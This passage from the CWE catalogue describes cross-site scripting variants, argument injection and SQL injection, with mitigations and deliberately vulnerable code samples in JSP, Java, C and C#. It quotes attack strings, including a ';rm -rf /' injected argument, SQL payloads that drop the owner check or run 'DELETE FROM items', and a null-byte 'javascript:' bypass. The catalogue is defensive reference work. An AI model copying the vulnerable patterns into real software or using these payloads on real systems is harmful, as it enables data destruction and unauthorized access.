| MemberOf | V | 1350 | Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses | 1350 | 2258 |

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-----------------------|---------|-------------------|----------------------------|
| PLOVER | | | Cross-site scripting (XSS) |
| 7 Pernicious Kingdoms | | | Cross-site Scripting |
| CLASP | | | Cross-site scripting |
| OWASP Top Ten 2007 | A1 | Exact | Cross Site Scripting (XSS) |
| OWASP Top Ten 2004 | A1 | CWE More Specific | Unvalidated Input |

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|--------------|-------|----------------------------------|
| OWASP Top Ten 2004 | A4 | Exact | Cross-Site Scripting (XSS) Flaws |

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID : 80

Structure : Simple

Abstraction : Variant

Status: Incomplete

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|--|------|
| ChildOf |  | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 154 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |

| Scope | Impact | Likelihood |
|--------------|--------|------------|
| Availability | | |

Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

Example Language: JSP

(bad)

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
    Entry e = (Entry) i.next(); %>
    <p>Entry #<%= e.getId() %></p>
    <p><%= e.getText() %></p>
    <%
```

} %>

CWE-81: Improper Neutralization of Script in an Error Message Web Page

| | |
|------------------------------|----------------------------|
| Weakness ID : 81 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|
| ChildOf |  | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 154 |
| CanAlsoBe |  | 209 | Generation of Error Message Containing Sensitive Information | 499 |
| CanAlsoBe |  | 390 | Detection of Error Condition Without Action | 870 |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |
| Availability | | |

Potential Mitigations

Phase: Implementation

Do not write user-controlled input to error pages.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

| | |
|------------------------------|----------------------------|
| Weakness ID : 82 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

| | |
|------------------------------|-----------------------|
| Weakness ID : 86 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |
| Availability | | |

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

CWE-87: Improper Neutralization of Alternate XSS Syntax

| | |
|------------------------------|----------------------|
| Weakness ID : 87 | Status: Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|----|--|------|
| ChildOf | B | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 154 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |
| Availability | | |

Potential Mitigations

Phase: Implementation

Resolve all input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

Example Language: Java

(bad)

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0738 | XSS using "&={script}". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0738 |

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

| | |
|---------------------------|-----------------------|
| Weakness ID : 88 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|---|---------------------------------------|------------|
| Confidentiality | Execute Unauthorized Code or Commands | |
| Integrity | Alter Execution Logic | |
| Availability | Read Application Data | |
| Other | Modify Application Data | |
| <i>An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.</i> | | |

Potential Mitigations

Phase: Implementation

Strategy = Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, `escapeshellarg()` can be used to escape a single argument to `system()`, or `exec()` can be called with an array of arguments. In C, code can often be refactored from using `system()` - which accepts a single string - to using `exec()`, which requires separate function arguments for each parameter.

Effectiveness = High

Phase: Architecture and Design

Strategy = Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C (bad)

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Observed Examples

| Reference | Description |

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

| | |
|---------------------------|------------------------|
| Weakness ID : 89 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data <i>Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.</i> | |
| Access Control | Bypass Protection Mechanism <i>If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.</i> | |
| Access Control | Bypass Protection Mechanism <i>If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.</i> | |
| Integrity | Modify Application Data | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| | <i>Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Database Scanners Cost effective for partial coverage: Web Application Scanner Web Services Scanner

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape

or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C#

(bad)

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

Example Language:

(informative)

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if `itemName` does not contain a single-quote character. If an attacker with the user name `wiley` enters the string:

Example Language:

(attack)

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Example Language:

(attack)

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Example Language:

(attack)

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Example Language:

(attack)

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

Example Language:

(attack)

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

Example Language: SQL

(attack)

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

*Example Language:**(attack)*

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Then the following three valid statements will be created:

*Example Language:**(attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';  
DELETE FROM items;  
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
